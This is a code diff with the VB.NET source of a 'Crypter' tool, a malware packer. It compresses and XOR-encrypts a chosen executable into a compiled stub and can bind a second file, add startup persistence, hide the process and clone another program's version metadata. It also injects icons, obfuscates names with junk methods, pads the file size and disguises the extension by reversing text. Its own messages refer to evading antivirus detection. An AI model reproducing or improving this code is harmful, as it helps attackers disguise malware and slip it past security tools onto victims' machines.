Friend WithEvents DesignButton9 As Crypter.DesignButton
|
||||
Friend WithEvents NumericUpDown1 As System.Windows.Forms.NumericUpDown
|
||||
Friend WithEvents DeumosRadioButton2 As Crypter.DeumosRadioButton
|
||||
Friend WithEvents DeumosRadioButton1 As Crypter.DeumosRadioButton
|
||||
Friend WithEvents PictureBox1 As System.Windows.Forms.PictureBox
|
||||
Friend WithEvents DesignGroupBox4 As Crypter.DesignGroupBox
|
||||
Friend WithEvents DesignButton10 As Crypter.DesignButton
|
||||
Friend WithEvents Label6 As System.Windows.Forms.Label
|
||||
Friend WithEvents TextBox5 As System.Windows.Forms.TextBox
|
||||
Friend WithEvents DeumosCheckBox1 As Crypter.DeumosCheckBox
|
||||
Friend WithEvents DeumosCheckBox2 As Crypter.DeumosCheckBox
|
||||
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,723 @@
|
||||
#Region "Import"
|
||||
Imports System.Text
|
||||
Imports Mono.Cecil
|
||||
Imports System.IO
|
||||
Imports System.IO.Compression
|
||||
Imports Mono.Cecil.Cil
|
||||
Imports System.Runtime.InteropServices
|
||||
Imports System.Security
|
||||
Imports System.Management
|
||||
Imports System.Security.Cryptography
|
||||
|
||||
#End Region
|
||||
|
||||
Public Class Form1
|
||||
'Public Sub New()
|
||||
|
||||
' Seal.Initialize("") ' ici vous mettrez l'ID de votre programme
|
||||
' InitializeComponent()
|
||||
|
||||
|
||||
'End Sub
|
||||
#Region "Form Load"
|
||||
Private Sub Form_Load() Handles MyBase.Load
|
||||
|
||||
Dim Mono As String = Application.StartupPath & "\Mono.Cecil.dll"
|
||||
Try
|
||||
If IO.File.Exists(Mono) = False Then
|
||||
IO.File.WriteAllBytes(Mono, My.Resources.Mono_Cecil)
|
||||
IO.File.SetAttributes(Mono, IO.FileAttributes.Hidden)
|
||||
Else
|
||||
IO.File.SetAttributes(Mono, IO.FileAttributes.Hidden)
|
||||
End If
|
||||
Catch ex As Exception
|
||||
MsgBox(ex.Message)
|
||||
End Try
|
||||
TextBox2.Text = Rand(25)
|
||||
End Sub
|
||||
|
||||
#End Region
|
||||
|
||||
|
||||
|
||||
#Region "Button Open"
|
||||
Dim FileByte() As Byte
|
||||
Private Sub DesignButton1_Click(sender As Object, e As EventArgs) Handles DesignButton1.Click
|
||||
Dim o As New OpenFileDialog
|
||||
o.Filter = "Portable Executable |*.exe"
|
||||
If o.ShowDialog = vbOK Then
|
||||
TextBox1.Text = o.FileName
|
||||
FileByte = IO.File.ReadAllBytes(o.FileName)
|
||||
grpSetting.Enabled = True
|
||||
btnEncrypt.Enabled = True
|
||||
If isDotNet(FileByte) = True Then
|
||||
grpInject.Enabled = False
|
||||
chkRoot.Checked = False
|
||||
End If
|
||||
Else
|
||||
Exit Sub
|
||||
End If
|
||||
End Sub
|
||||
Function isDotNet(ByVal Data() As Byte) As Boolean
|
||||
Try
|
||||
System.Reflection.Assembly.Load(Data)
|
||||
Return True
|
||||
Catch ex As Exception
|
||||
Return False
|
||||
End Try
|
||||
End Function
|
||||
|
||||
#End Region
|
||||
|
||||
#Region "Random Key"
|
||||
Private Sub DesignButton2_Click(sender As Object, e As EventArgs) Handles DesignButton2.Click
|
||||
TextBox2.Text = Rand(15)
|
||||
End Sub
|
||||
Public Shared Function Rand(ByVal lenght As Integer) As String
|
||||
Dim A As New StringBuilder("")
|
||||
Dim B() As Char = "אבגדהוזחטיךכלםמןנסעףפץצקרשתװױײ׳״"
|
||||
For C As Integer = 1 To lenght
|
||||
Dim D As Integer = Int(((B.Length - 2) - 0 + 1) * Rnd()) + 1
|
||||
A.Append(B(D))
|
||||
Next
|
||||
Return A.ToString
|
||||
End Function
|
||||
#End Region
|
||||
|
||||
#Region "Button Icon & Checkbox"
|
||||
Dim IconPath As String
|
||||
Private Sub DesignButton4_Click(sender As Object, e As EventArgs) Handles DesignButton4.Click
|
||||
Dim o As New OpenFileDialog
|
||||
o.Filter = "Icon File |*.ico"
|
||||
If o.ShowDialog = vbOK Then
|
||||
TextBox4.Text = o.FileName
|
||||
IconPath = o.FileName
|
||||
PictureBox2.ImageLocation = o.FileName
|
||||
Else
|
||||
Exit Sub
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub chkIcon_CheckedChanged(sender As Object) Handles chkIcon.CheckedChanged
|
||||
If chkIcon.Checked Then
|
||||
MsgBox("L'icon changer peut affecter les detection !", MsgBoxStyle.Information)
|
||||
grpIcon.Enabled = True
|
||||
Else
|
||||
grpIcon.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
#End Region
|
||||
|
||||
#Region "Button Binder"
|
||||
Dim Extension As String
|
||||
Private Sub DesignButton3_Click(sender As Object, e As EventArgs) Handles DesignButton3.Click
|
||||
Dim o As New OpenFileDialog
|
||||
o.Filter = "Any File |*.*"
|
||||
If o.ShowDialog = vbOK Then
|
||||
txtBinder.Text = o.FileName
|
||||
Extension = IO.Path.GetExtension(o.FileName)
|
||||
Else
|
||||
Exit Sub
|
||||
End If
|
||||
End Sub
|
||||
Private Sub chkBinder_CheckedChanged(sender As Object) Handles chkBinder.CheckedChanged
|
||||
If chkBinder.Checked Then
|
||||
grpBinder.Enabled = True
|
||||
Else
|
||||
grpBinder.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
#End Region
|
||||
|
||||
#Region "CheckBox Startup"
|
||||
Private Sub chkStartup_CheckedChanged(sender As Object) Handles chkStartup.CheckedChanged
|
||||
If chkStartup.Checked Then
|
||||
grpStartup.Enabled = True
|
||||
Else
|
||||
grpStartup.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
#End Region
|
||||
|
||||
#Region "Assembly Cloner"
|
||||
Private Sub chkAssembly_CheckedChanged(sender As Object) Handles chkAssembly.CheckedChanged
|
||||
If chkAssembly.Checked Then
|
||||
grpClone.Enabled = True
|
||||
Else
|
||||
grpClone.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub DesignButton5_Click(sender As Object, e As EventArgs) Handles DesignButton5.Click
|
||||
Dim o As New OpenFileDialog
|
||||
o.Filter = "Any File |*.*"
|
||||
If o.ShowDialog = vbOK Then
|
||||
txtClone.Text = o.FileName
|
||||
ReadAssembly(o.FileName)
|
||||
Else
|
||||
Exit Sub
|
||||
End If
|
||||
End Sub
|
||||
Dim Title As String
|
||||
Dim Description As String
|
||||
Dim Company As String
|
||||
Dim Product As String
|
||||
Dim Copyright As String
|
||||
Dim Trademark As String
|
||||
Dim v1 As String
|
||||
Dim v2 As String
|
||||
Dim v3 As String
|
||||
Dim v4 As String
|
||||
Sub ReadAssembly(ByVal Filepath As String)
|
||||
|
||||
Dim f As FileVersionInfo = FileVersionInfo.GetVersionInfo(Filepath)
|
||||
Title = f.InternalName
|
||||
Description = f.FileDescription
|
||||
Company = f.CompanyName
|
||||
Product = f.ProductName
|
||||
Copyright = f.LegalCopyright
|
||||
Trademark = f.LegalTrademarks
|
||||
Dim version As String()
|
||||
If f.FileVersion.Contains(",") Then
|
||||
version = f.FileVersion.Split(","c)
|
||||
Else
|
||||
version = f.FileVersion.Split("."c)
|
||||
End If
|
||||
Try
|
||||
v1 = version(0)
|
||||
v2 = version(1)
|
||||
v3 = version(2)
|
||||
v4 = version(3)
|
||||
Catch ex As Exception
|
||||
|
||||
End Try
|
||||
End Sub
|
||||
#End Region
|
||||
|
||||
#Region "Button Crypt"
|
||||
Dim ASM As AssemblyDefinition
|
||||
Dim List As ListBox = New ListBox
|
||||
Dim SavePath As String
|
||||
Private Sub btnEncrypt_Click(sender As Object, e As EventArgs) Handles btnEncrypt.Click
|
||||
Try
|
||||
If TextBox1.Text = Nothing Then
|
||||
Call MsgBox("Please Select a File...", MsgBoxStyle.Critical)
|
||||
Exit Sub
|
||||
End If
|
||||
Try
|
||||
Dim s As New SaveFileDialog
|
||||
s.Filter = "Portable Executable |*.exe"
|
||||
If s.ShowDialog = vbOK Then
|
||||
SavePath = s.FileName
|
||||
Else
|
||||
Exit Sub
|
||||
End If
|
||||
Dim Src As String = My.Resources.Source
|
||||
Dim RESA As String = Application.StartupPath & "\Z.resources"
|
||||
Using A As New Resources.ResourceWriter(RESA)
|
||||
A.AddResource("First", Encoding.Default.GetString(PolyIndia(Compress(FileByte))))
|
||||
A.AddResource("Second", Encoding.Default.GetString(PolyIndia(Compress(My.Resources.Xenocode))))
|
||||
If chkBinder.Checked Then
|
||||
A.AddResource("Three", Encoding.Default.GetString(PolyIndia(Compress(IO.File.ReadAllBytes(txtBinder.Text)))))
|
||||
End If
|
||||
If chkHide.Checked Then
|
||||
A.AddResource("Root", Encoding.Default.GetString(PolyIndia(Compress(My.Resources.DarkFire))))
|
||||
End If
|
||||
A.Generate()
|
||||
End Using
|
||||
If chkRoot.Checked Then
|
||||
Src = Src.Replace("'ROOT", Nothing)
|
||||
End If
|
||||
If chkHide.Checked Then
|
||||
Src = Src.Replace("'_HIDE", Nothing)
|
||||
End If
|
||||
Dim ASEM As String = My.Resources.Asem
|
||||
If chkAssembly.Checked Then
|
||||
ASEM = ASEM.Replace("%Title%", Title)
|
||||
ASEM = ASEM.Replace("%Description%", Description)
|
||||
ASEM = ASEM.Replace("%Company%", Company)
|
||||
ASEM = ASEM.Replace("%Product%", Product)
|
||||
ASEM = ASEM.Replace("%Copyright%", Copyright)
|
||||
ASEM = ASEM.Replace("%Trademark%", Trademark)
|
||||
ASEM = ASEM.Replace("%FileVersion%", v1 & v2 & v3 & v4)
|
||||
Src = Src.Replace("'[ASEMBLYCODE]", ASEM)
|
||||
Else
|
||||
Src = Src.Replace("'[ASEMBLYCODE]", Nothing)
|
||||
End If
|
||||
Try
|
||||
Dim snk As String = Application.StartupPath & "\pourquoi.snk"
|
||||
IO.File.WriteAllBytes(snk, My.Resources.pourquoi)
|
||||
Src = Src.Replace("STRONGNAMELOCATION", snk)
|
||||
Catch ex As Exception
|
||||
|
||||
End Try
|
||||
If chkBinder.Checked = True Then
|
||||
Src = Src.Replace("%BindCheck%", True)
|
||||
Src = Src.Replace("%Extension%", Extension)
|
||||
Src = Src.Replace("'BINDER", Nothing)
|
||||
If chkrunOnce.Checked = True Then
|
||||
Src = Src.Replace("%OnceCheck%", True)
|
||||
Else
|
||||
Src = Src.Replace("%OnceCheck%", False)
|
||||
End If
|
||||
Else
|
||||
Src = Src.Replace("%BindCheck%", False)
|
||||
Src = Src.Replace("%OnceCheck%", False)
|
||||
End If
|
||||
Src = Src.Replace("%ProcessName%", TextBox8.Text)
|
||||
If chkStartup.Checked Then
|
||||
Src = Src.Replace("%NON%", "Oui")
|
||||
Src = Src.Replace("%Folder%", txtFolder.Text)
|
||||
Src = Src.Replace("%Filename%", txtFilename.Text)
|
||||
Src = Src.Replace("%KeyName%", txtKeyname.Text)
|
||||
Else
|
||||
Src = Src.Replace("%NON%", "Non")
|
||||
Src = Src.Replace("%Folder%", Nothing)
|
||||
Src = Src.Replace("%Filename%", Nothing)
|
||||
Src = Src.Replace("%KeyName%", Nothing)
|
||||
End If
|
||||
Compile(Src, SavePath, "_BASE")
|
||||
If chkIcon.Checked Then
|
||||
IconInjector.InjectIcon(SavePath, IconPath)
|
||||
End If
|
||||
If Protectpart1(SavePath) = True Then
|
||||
ASM.Write(SavePath)
|
||||
End If
|
||||
IO.File.Delete(RESA)
|
||||
MsgBox("Sucess !", MsgBoxStyle.Information)
|
||||
Catch ex As Exception
|
||||
MsgBox(ex.Message)
|
||||
End Try
|
||||
Catch ex As Exception
|
||||
|
||||
End Try
|
||||
End Sub
|
||||
Public Shared Function PolyIndia(ByVal File As Byte()) As Byte()
|
||||
Dim ServicePro As New System.Security.Cryptography.RNGCryptoServiceProvider()
|
||||
Dim RetKey As Byte() = New Byte(16 - 1) {}
|
||||
Dim Result As Byte() = New Byte(16 + (File.Length - 1)) {}
|
||||
ServicePro.GetBytes(RetKey)
|
||||
Buffer.BlockCopy(RetKey, 0, Result, 0, 16)
|
||||
Buffer.BlockCopy(File, 0, Result, 16, File.Length)
|
||||
For i As Integer = 16 To Result.Length - 1
|
||||
Result(i) = Result(i) Xor RetKey(i Mod RetKey.Length)
|
||||
Next
|
||||
Return Result
|
||||
End Function
|
||||
Public Shared Function Compress(data As Byte()) As Byte()
|
||||
Dim output As New MemoryStream()
|
||||
Dim gzip As New GZipStream(output, CompressionMode.Compress, True)
|
||||
gzip.Write(data, 0, data.Length)
|
||||
gzip.Close()
|
||||
Return output.ToArray()
|
||||
End Function
|
||||
|
||||
Private Sub DesignButton8_Click(sender As Object, e As EventArgs) Handles DesignButton8.Click
|
||||
Try
|
||||
Dim S As New SaveFileDialog
|
||||
S.Filter = "|*.exe"
|
||||
If S.ShowDialog = vbOK Then
|
||||
If Protectpart2() = True Then
|
||||
ASM.Write(S.FileName)
|
||||
End If
|
||||
MsgBox("Sucessfully Obfuscated at: " & vbCrLf & S.FileName, MsgBoxStyle.Information)
|
||||
Else
|
||||
Exit Sub
|
||||
End If
|
||||
Catch ex As Exception
|
||||
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Public Function Protectpart2() As Boolean
|
||||
Dim FilePath As String
|
||||
Try
|
||||
ASM = AssemblyDefinition.ReadAssembly(FilePath)
|
||||
ASM.MainModule.Attributes = ModuleAttributes.Required32Bit
|
||||
Dim definition As TypeDefinition
|
||||
For Each definition In ASM.MainModule.Types
|
||||
If (definition.Name <> "<Module>") Then
|
||||
Me.RenameTypesMethodsFields(definition, True, True, True)
|
||||
Dim i As Integer
|
||||
For i = 0 To 750 - 1
|
||||
Dim item As New MethodDefinition(Me.SingleCharRename, (MethodAttributes.ReuseSlot Or MethodAttributes.Private), ASM.MainModule.Import(Type.GetType("System.Void")))
|
||||
definition.Methods.Add(item)
|
||||
item.Body.Instructions.Add(Instruction.Create(OpCodes.Br_S, CByte(&H2C)))
|
||||
item.Body.Instructions.Add(Instruction.Create(OpCodes.Nop))
|
||||
List.Items.Add(item)
|
||||
Next i
|
||||
End If
|
||||
Next
|
||||
Dim definition3 As TypeDefinition
|
||||
For Each definition3 In ASM.MainModule.Types
|
||||
If (definition3.Namespace <> "") Then
|
||||
Dim newValue As String = Me.SingleCharRename
|
||||
Dim resource As Resource
|
||||
For Each resource In ASM.MainModule.Resources
|
||||
resource.Name = resource.Name.Replace(definition3.Namespace, newValue)
|
||||
Next
|
||||
definition3.Namespace = newValue
|
||||
End If
|
||||
Next
|
||||
Catch exception As Exception
|
||||
MessageBox.Show(exception.Message)
|
||||
Return False
|
||||
End Try
|
||||
Return True
|
||||
End Function
|
||||
|
||||
Public Function Protectpart1(ByVal file As String) As Boolean
|
||||
Try
|
||||
ASM = AssemblyDefinition.ReadAssembly(File)
|
||||
ASM.MainModule.Attributes = ModuleAttributes.Required32Bit
|
||||
Dim definition As TypeDefinition
|
||||
For Each definition In ASM.MainModule.Types
|
||||
If (definition.Name <> "<Module>") Then
|
||||
Me.RenameTypesMethodsFields(definition, True, True, True)
|
||||
Dim i As Integer
|
||||
For i = 0 To 750 - 1
|
||||
Dim item As New MethodDefinition(Me.SingleCharRename, (MethodAttributes.ReuseSlot Or MethodAttributes.Private), ASM.MainModule.Import(Type.GetType("System.Void")))
|
||||
definition.Methods.Add(item)
|
||||
item.Body.Instructions.Add(Instruction.Create(OpCodes.Br_S, CByte(&H2C)))
|
||||
item.Body.Instructions.Add(Instruction.Create(OpCodes.Nop))
|
||||
List.Items.Add(item)
|
||||
Next i
|
||||
End If
|
||||
Next
|
||||
Dim definition3 As TypeDefinition
|
||||
For Each definition3 In ASM.MainModule.Types
|
||||
If (definition3.Namespace <> "") Then
|
||||
Dim newValue As String = Me.SingleCharRename
|
||||
Dim resource As Resource
|
||||
For Each resource In ASM.MainModule.Resources
|
||||
resource.Name = resource.Name.Replace(definition3.Namespace, newValue)
|
||||
Next
|
||||
definition3.Namespace = newValue
|
||||
End If
|
||||
Next
|
||||
Catch exception As Exception
|
||||
MessageBox.Show(exception.Message)
|
||||
Return False
|
||||
End Try
|
||||
Return True
|
||||
End Function
|
||||
|
||||
Private Sub RenameTypesMethodsFields(ByVal t As TypeDefinition, ByVal renameType As Boolean, ByVal renameMethods As Boolean, ByVal renameFields As Boolean)
|
||||
Dim definition As TypeDefinition
|
||||
For Each definition In t.NestedTypes
|
||||
Me.RenameTypesMethodsFields(definition, renameType, renameMethods, False)
|
||||
Next
|
||||
If renameFields Then
|
||||
Dim definition2 As FieldDefinition
|
||||
For Each definition2 In t.Fields
|
||||
definition2.Name = Me.SingleCharRename
|
||||
Next
|
||||
End If
|
||||
If renameMethods Then
|
||||
Dim definition3 As MethodDefinition
|
||||
For Each definition3 In t.Methods
|
||||
If ((Not definition3.IsConstructor AndAlso (definition3.Name <> "OnCreateMainForm")) AndAlso (Not definition3.Name.ToLower.StartsWith("get") AndAlso Not definition3.Name.ToLower.StartsWith("set"))) Then
|
||||
definition3.Name = Me.SingleCharRename
|
||||
End If
|
||||
Next
|
||||
End If
|
||||
Dim str As String = Me.SingleCharRename
|
||||
Dim resource As Resource
|
||||
For Each resource In t.Module.Resources
|
||||
resource.Name = resource.Name.Replace(t.FullName, (t.Namespace & "." & str))
|
||||
Next
|
||||
If renameType Then
|
||||
t.Name = str
|
||||
End If
|
||||
End Sub
|
||||
Private Function SingleCharRename() As String
|
||||
Return Rand(20)
|
||||
End Function
|
||||
Public Sub Compile(ByVal Source As String, ByVal Out As String, ByVal ClassName As String, Optional ByVal Icon As String = "")
|
||||
Dim ProviderOptions As New Dictionary(Of String, String)()
|
||||
ProviderOptions.Add("CompilerVersion", "v2.0")
|
||||
Dim CP As New Microsoft.VisualBasic.VBCodeProvider(ProviderOptions)
|
||||
Dim P As New CodeDom.Compiler.CompilerParameters
|
||||
Dim s As New StringBuilder()
|
||||
s.Append(" /target:winexe")
|
||||
s.Append(" /platform:x86")
|
||||
s.Append(" /optimize+")
|
||||
P.GenerateExecutable = True
|
||||
P.OutputAssembly = Out
|
||||
If Icon = "" Then
|
||||
Else
|
||||
s.Append(" /win32icon:""" & Icon & """")
|
||||
End If
|
||||
P.EmbeddedResources.Add(Application.StartupPath & "\Z.resources")
|
||||
P.CompilerOptions += s.ToString()
|
||||
P.IncludeDebugInformation = False
|
||||
P.ReferencedAssemblies.Add("System.Dll")
|
||||
Dim Results1 = CP.CompileAssemblyFromSource(P, Source)
|
||||
For Each uii As CodeDom.Compiler.CompilerError In Results1.Errors
|
||||
MessageBox.Show(uii.ToString)
|
||||
Next
|
||||
End Sub
|
||||
#End Region
|
||||
|
||||
#Region "Button Open Scanner"
|
||||
Private Sub DesignButton7_Click(sender As Object, e As EventArgs) Handles DesignButton7.Click
|
||||
Me.Hide()
|
||||
Scanner.Show()
|
||||
End Sub
|
||||
#End Region
|
||||
|
||||
#Region "Hide Process"
|
||||
Private Sub chkHide_CheckedChanged(sender As Object) Handles chkHide.CheckedChanged
|
||||
If chkRoot.Checked = True Then
|
||||
MsgBox("You Can't use Process Hider and Persitance" & vbCrLf & "Please Disable Persistance...", MsgBoxStyle.Information)
|
||||
chkHide.Checked = False
|
||||
End If
|
||||
If chkHide.Checked Then
|
||||
TextBox8.Enabled = False
|
||||
TextBox8.Text = "WinSec"
|
||||
chkRoot.Enabled = False
|
||||
Else
|
||||
chkRoot.Enabled = True
|
||||
TextBox8.Enabled = True
|
||||
TextBox8.Text = "WinSec"
|
||||
End If
|
||||
End Sub
|
||||
#End Region
|
||||
|
||||
Private Sub DesignButton6_Click(sender As Object, e As EventArgs) Handles DesignButton6.Click
|
||||
Dim ob As New OpenFileDialog
|
||||
ob.Filter = "Portable Executable |*.exe"
|
||||
If ob.ShowDialog = vbOK Then
|
||||
TextBox3.Text = ob.FileName
|
||||
FileByte = IO.File.ReadAllBytes(ob.FileName)
|
||||
grpSetting.Enabled = True
|
||||
btnEncrypt.Enabled = True
|
||||
If isDotNet(FileByte) = True Then
|
||||
grpInject.Enabled = False
|
||||
chkRoot.Checked = False
|
||||
End If
|
||||
Else
|
||||
Exit Sub
|
||||
End If
|
||||
End Sub
|
||||
|
||||
|
||||
|
||||
Private Sub DesignButton9_Click(sender As Object, e As EventArgs) Handles DesignButton9.Click
|
||||
Dim filesize As Double = Val(NumericUpDown1.Value)
|
||||
If DeumosRadioButton1.Checked Then
|
||||
filesize = filesize * 1024
|
||||
End If
|
||||
If DeumosRadioButton2.Checked Then
|
||||
filesize = filesize * 1048576
|
||||
End If
|
||||
Dim filetopump = IO.File.OpenWrite(TextBox1.Text)
|
||||
Dim size = filetopump.Seek(0, IO.SeekOrigin.[End])
|
||||
While size < filesize
|
||||
filetopump.WriteByte(0)
|
||||
size += 1
|
||||
End While
|
||||
filetopump.Close()
|
||||
MsgBox("File Pumped!", MsgBoxStyle.Information)
|
||||
End Sub
|
||||
|
||||
|
||||
Private Sub DesignButton10_Click(sender As Object, e As EventArgs) Handles DesignButton10.Click
|
||||
My.Computer.FileSystem.RenameFile(TextBox1.Text, TextBox1.Text & "" & StrReverse(TextBox5.Text) & ".exe")
|
||||
End Sub
|
||||
End Class
|
||||
|
||||
#Region "Icon Injector"
|
||||
Public Class IconInjector
|
||||
|
||||
<SuppressUnmanagedCodeSecurity()> _
|
||||
Private Class NativeMethods
|
||||
<DllImport("kernel32")> _
|
||||
Public Shared Function BeginUpdateResource( _
|
||||
ByVal fileName As String, _
|
||||
<MarshalAs(UnmanagedType.Bool)> ByVal deleteExistingResources As Boolean) As IntPtr
|
||||
End Function
|
||||
|
||||
<DllImport("kernel32")> _
|
||||
Public Shared Function UpdateResource( _
|
||||
ByVal hUpdate As IntPtr, _
|
||||
ByVal type As IntPtr, _
|
||||
ByVal name As IntPtr, _
|
||||
ByVal language As Short, _
|
||||
<MarshalAs(UnmanagedType.LPArray, SizeParamIndex:=5)> _
|
||||
ByVal data() As Byte, _
|
||||
ByVal dataSize As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
|
||||
End Function
|
||||
|
||||
<DllImport("kernel32")> _
|
||||
Public Shared Function EndUpdateResource( _
|
||||
ByVal hUpdate As IntPtr, _
|
||||
<MarshalAs(UnmanagedType.Bool)> ByVal discard As Boolean) As <MarshalAs(UnmanagedType.Bool)> Boolean
|
||||
End Function
|
||||
End Class
|
||||
|
||||
' The first structure in an ICO file lets us know how many images are in the file.
|
||||
<StructLayout(LayoutKind.Sequential)> _
|
||||
Private Structure ICONDIR
|
||||
Public Reserved As UShort ' Reserved, must be 0
|
||||
Public Type As UShort ' Resource type, 1 for icons.
|
||||
Public Count As UShort ' How many images.
|
||||
' The native structure has an array of ICONDIRENTRYs as a final field.
|
||||
End Structure
|
||||
|
||||
' Each ICONDIRENTRY describes one icon stored in the ico file. The offset says where the icon image data
|
||||
' starts in the file. The other fields give the information required to turn that image data into a valid
|
||||
' bitmap.
|
||||
<StructLayout(LayoutKind.Sequential)> _
|
||||
Private Structure ICONDIRENTRY
|
||||
Public Width As Byte ' Width, in pixels, of the image
|
||||
Public Height As Byte ' Height, in pixels, of the image
|
||||
Public ColorCount As Byte ' Number of colors in image (0 if >=8bpp)
|
||||
Public Reserved As Byte ' Reserved ( must be 0)
|
||||
Public Planes As UShort ' Color Planes
|
||||
Public BitCount As UShort ' Bits per pixel
|
||||
Public BytesInRes As Integer ' Length in bytes of the pixel data
|
||||
Public ImageOffset As Integer ' Offset in the file where the pixel data starts.
|
||||
End Structure
|
||||
|
||||
' Each image is stored in the file as an ICONIMAGE structure:
|
||||
'typdef struct
|
||||
'{
|
||||
' BITMAPINFOHEADER icHeader; // DIB header
|
||||
' RGBQUAD icColors[1]; // Color table
|
||||
' BYTE icXOR[1]; // DIB bits for XOR mask
|
||||
' BYTE icAND[1]; // DIB bits for AND mask
|
||||
'} ICONIMAGE, *LPICONIMAGE;
|
||||
|
||||
|
||||
<StructLayout(LayoutKind.Sequential)> _
|
||||
Private Structure BITMAPINFOHEADER
|
||||
Public Size As UInteger
|
||||
Public Width As Integer
|
||||
Public Height As Integer
|
||||
Public Planes As UShort
|
||||
Public BitCount As UShort
|
||||
Public Compression As UInteger
|
||||
Public SizeImage As UInteger
|
||||
Public XPelsPerMeter As Integer
|
||||
Public YPelsPerMeter As Integer
|
||||
Public ClrUsed As UInteger
|
||||
Public ClrImportant As UInteger
|
||||
End Structure
|
||||
|
||||
' The icon in an exe/dll file is stored in a very similar structure:
|
||||
<StructLayout(LayoutKind.Sequential, Pack:=2)> _
|
||||
Private Structure GRPICONDIRENTRY
|
||||
Public Width As Byte
|
||||
Public Height As Byte
|
||||
Public ColorCount As Byte
|
||||
Public Reserved As Byte
|
||||
Public Planes As UShort
|
||||
Public BitCount As UShort
|
||||
Public BytesInRes As Integer
|
||||
Public ID As UShort
|
||||
End Structure
|
||||
|
||||
Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String)
|
||||
InjectIcon(exeFileName, iconFileName, 1, 1)
|
||||
End Sub
|
||||
|
||||
Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String, ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger)
|
||||
Const RT_ICON = 3UI
|
||||
Const RT_GROUP_ICON = 14UI
|
||||
Dim iconFile As IconFile = iconFile.FromFile(iconFileName)
|
||||
Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False)
|
||||
Dim data = iconFile.CreateIconGroupData(iconBaseID)
|
||||
NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New IntPtr(iconGroupID), 0, data, data.Length)
|
||||
For i = 0 To iconFile.ImageCount - 1
|
||||
Dim image = iconFile.ImageData(i)
|
||||
NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0, image, image.Length)
|
||||
Next
|
||||
NativeMethods.EndUpdateResource(hUpdate, False)
|
||||
End Sub
|
||||
|
||||
Private Class IconFile
|
||||
|
||||
Private iconDir As New ICONDIR
|
||||
Private iconEntry() As ICONDIRENTRY
|
||||
Private iconImage()() As Byte
|
||||
|
||||
Public ReadOnly Property ImageCount As Integer
|
||||
Get
|
||||
Return iconDir.Count
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Public ReadOnly Property ImageData(ByVal index As Integer) As Byte()
|
||||
Get
|
||||
Return iconImage(index)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Private Sub New()
|
||||
End Sub
|
||||
|
||||
Public Shared Function FromFile(ByVal filename As String) As IconFile
|
||||
Dim instance As New IconFile
|
||||
' Read all the bytes from the file.
|
||||
Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename)
|
||||
' First struct is an ICONDIR
|
||||
' Pin the bytes from the file in memory so that we can read them.
|
||||
' If we didn't pin them then they could move around (e.g. when the
|
||||
' garbage collector compacts the heap)
|
||||
Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned)
|
||||
' Read the ICONDIR
|
||||
instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject, GetType(ICONDIR)), ICONDIR)
|
||||
' which tells us how many images are in the ico file. For each image, there's a ICONDIRENTRY, and associated pixel data.
|
||||
instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {}
|
||||
instance.iconImage = New Byte(instance.iconDir.Count - 1)() {}
|
||||
' The first ICONDIRENTRY will be immediately after the ICONDIR, so the offset to it is the size of ICONDIR
|
||||
Dim offset = Marshal.SizeOf(instance.iconDir)
|
||||
' After reading an ICONDIRENTRY we step forward by the size of an ICONDIRENTRY
|
||||
Dim iconDirEntryType = GetType(ICONDIRENTRY)
|
||||
Dim size = Marshal.SizeOf(iconDirEntryType)
|
||||
For i = 0 To instance.iconDir.Count - 1
|
||||
' Grab the structure.
|
||||
Dim entry = DirectCast(Marshal.PtrToStructure(New IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY)
|
||||
instance.iconEntry(i) = entry
|
||||
' Grab the associated pixel data.
|
||||
instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {}
|
||||
Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes)
|
||||
offset += size
|
||||
Next
|
||||
pinnedBytes.Free()
|
||||
Return instance
|
||||
End Function
|
||||
|
||||
Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte()
|
||||
' This will store the memory version of the icon.
|
||||
Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) + Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount
|
||||
Dim data(sizeOfIconGroupData - 1) As Byte
|
||||
Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned)
|
||||
Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False)
|
||||
Dim offset = Marshal.SizeOf(iconDir)
|
||||
For i = 0 To ImageCount - 1
|
||||
Dim grpEntry As New GRPICONDIRENTRY
|
||||
Dim bitmapheader As New BITMAPINFOHEADER
|
||||
Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned)
|
||||
Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject, Marshal.SizeOf(GetType(BITMAPINFOHEADER)))
|
||||
pinnedBitmapInfoHeader.Free()
|
||||
grpEntry.Width = iconEntry(i).Width
|
||||
grpEntry.Height = iconEntry(i).Height
|
||||
grpEntry.ColorCount = iconEntry(i).ColorCount
|
||||
grpEntry.Reserved = iconEntry(i).Reserved
|
||||
grpEntry.Planes = bitmapheader.Planes
|
||||
grpEntry.BitCount = bitmapheader.BitCount
|
||||
grpEntry.BytesInRes = iconEntry(i).BytesInRes
|
||||
grpEntry.ID = CType(iconBaseID + i, UShort)
|
||||
